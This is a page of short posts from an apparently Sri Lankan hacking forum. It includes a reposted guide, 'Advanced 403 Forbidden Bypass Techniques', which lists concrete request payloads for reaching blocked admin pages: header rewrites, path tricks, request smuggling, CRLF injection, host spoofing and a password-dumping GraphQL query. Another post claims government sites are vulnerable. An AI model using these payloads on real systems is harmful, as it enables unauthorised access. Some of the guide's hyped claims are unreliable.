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  • 0 Votes
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    R
    Okie dokie
  • 2 Votes
    2 Posts
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    DevilXD
    ලංකාවේ දැනට තියෙන ගොඩක් government sites වල මේ කේස් එක තියෙන්වා.
  • 1 Votes
    1 Posts
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    DevilXD
    Advanced 403 Forbidden Bypass Techniques 99% of hackers QUIT when they see a 403, But the 1%? They try this I found a 403 Forbidden on /admin. [image: 1768195214196-615139903_122291343098027104_6271356075916249848_n.webp] But then I tried: POST /admin X-Original-URL: /admin /admin..;/ %2e/admin X-Rewrite-URL: /admin /ADMIN (yes, just caps) /;/admin /..;/admin 1. Protocol-Level Downgrade Bypass (only works on dual-stack apps) Target running HTTP/2 or gRPC? Force downgrade: PRI * HTTP/2.0 SM GET /admin HTTP/1.1 🧠 Some WAFs don’t parse dual-layer protocols correctly → backend sees a clean HTTP/1.1. 🧬 2. Content-Length Collapsing (CL.CL) on HTTP Pipelining Send pipelined requests where only 1st is parsed by WAF: POST /admin HTTP/1.1 Host: target.com Content-Length: 13 GET /admin WAF reads POST → blocks. Backend reads 2nd GET /admin → 200 OK. This is invisible to most WAFs. 3. Misconfigured Reverse Proxy Chain Escape Proxy chain: Cloudflare → NGINX → Apache Try: GET /admin X-Accel-Redirect: /admin X-Forwarded-Path: /admin Apache follows X-Accel-Redirect, bypasses upstream auth check. Real-world: Gained internal panel behind Cloudflare. 4. CRLF into Rewrite Bypass Some edge WAFs parse until CRLF \r\n, others don’t. Exploit it: GET / HTTP/1.1%0d%0aX-Rewrite-URL:%20/admin WAF reads URL → clean Backend sees X-Rewrite-URL: /admin → executes 5. Multipart Boundary Injection Bypass () Used when /admin is only allowed for file uploads: POST /upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----1337 Content-Disposition: form-data; name="file"; filename="/admin" Content-Type: text/plain If upload endpoint allows arbitrary path write → full override. 6. Misrouted Mesh Bypass via Service Discovery Kubernetes, Linkerd, Istio-style microservices expose internal routes: Send: Host: admin.internal.svc.cluster.local X-Service-Router: admin If service-mesh is misconfigured, you route directly to internal /admin even if public 403s. ️ 7. GraphQL-Injected 403 Bypass If app has GraphQL and 403-protected admin, try: query { admin { users { password } } } GraphQL often proxies internal microservice calls. Even if /admin is blocked via HTTP, the GQL layer may leak internal paths. 🧠 8. Preconnect Overload → Bypass Abuse edge preconnect logic by flooding with HEAD /admin + Connection: keep-alive. After 30–50 requests: a •WAF disables parsing •Keep-alive tunnel reused for real GET /admin 🧨 Real bypass via persistent connection channeling 9. Browser-Only Token Auth Bypass (via Headless Browser) Some SPAs load tokens via JS → protect /admin based on localStorage. WAF sees unauthenticated, but headless Chrome replays auth token as header → bypass. Use puppeteer + exportAuth → replay: curl -H "Authorization: Bearer <extracted_token>" target.com/admin 🧪 10. Distributed Retry Amplification When target uses edge lambda/WAF that retries failed requests internally, trigger 429s and inject: Retry-After: 0 X-Retry-URL: /admin WAF retries → skips deny logic → backend hits /admin. This is logic poisoning — not brute force. These Aren’t Payloads. They’re Logic Chains. Most tools stop at: /admin%2e X-Forwarded-For: 127.0.0.1 You’re playing 4D chess now: Protocol confusion Reverse proxy reroute GraphQL indirect call SSRF via retry Downgrade injection WAF desyncing These got real bounties: $25,000 from a Cloudflare-protected admin $12,500 via SSRF + Retry Poison $8,000 using pipelined CL.CL request Want a toolkit that automates: Forum members are invited to reply with links to tools for automating these tasks. This is next-level exploitation. Use it right. 🧠 This is not my original post. It was copied from a Facebook page, and the link is provided below. https://web.facebook.com/share/p/1FZBcgu5e7/
  • 1 Votes
    1 Posts
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    DevilXD
    [image: 1768191194156-images-1.webp] https://drive.google.com/file/d/1X9O7aYmcOF4uk_f5ti7L2sSOknEQI2ZP/view?usp=sharing
  • ඉස්සරත්

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    XploitLKX
    @mr.marusira මේක කොහොම හ්‍රි ගොඩ දාලා community එක හදලා ගමු, කාට හරි දෙයක් ඉගෙන ගන්න පුලුවන්. දන්න දන්න දේවල් දාගෙන යමු කට්ටිය එක්ක.
  • 2 Votes
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    D
    Need to try this
  • Forum Rules & Guidelines 🔰

    Pinned until 04/01/2027, 02:57 Rules & Announcements
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    XploitLKX
    General Forum Rules 1. Respect & Professional Conduct Treat all members with respect and courtesy No harassment, bullying, discrimination, or personal attacks Disagree with ideas, not people - keep discussions constructive No hate speech, offensive language, or inappropriate content Respect different skill levels - we all started as beginners 2. Quality Content Use clear, descriptive thread titles Post in the appropriate category Search before posting to avoid duplicates Stay on topic within threads No spam, advertising, or self-promotion without moderator approval Use proper formatting and code blocks for technical content 3. Account & Privacy One account per person No impersonation of others or organizations Protect your own privacy - don't share sensitive personal information Respect others' privacy - no doxxing or sharing private information 4. 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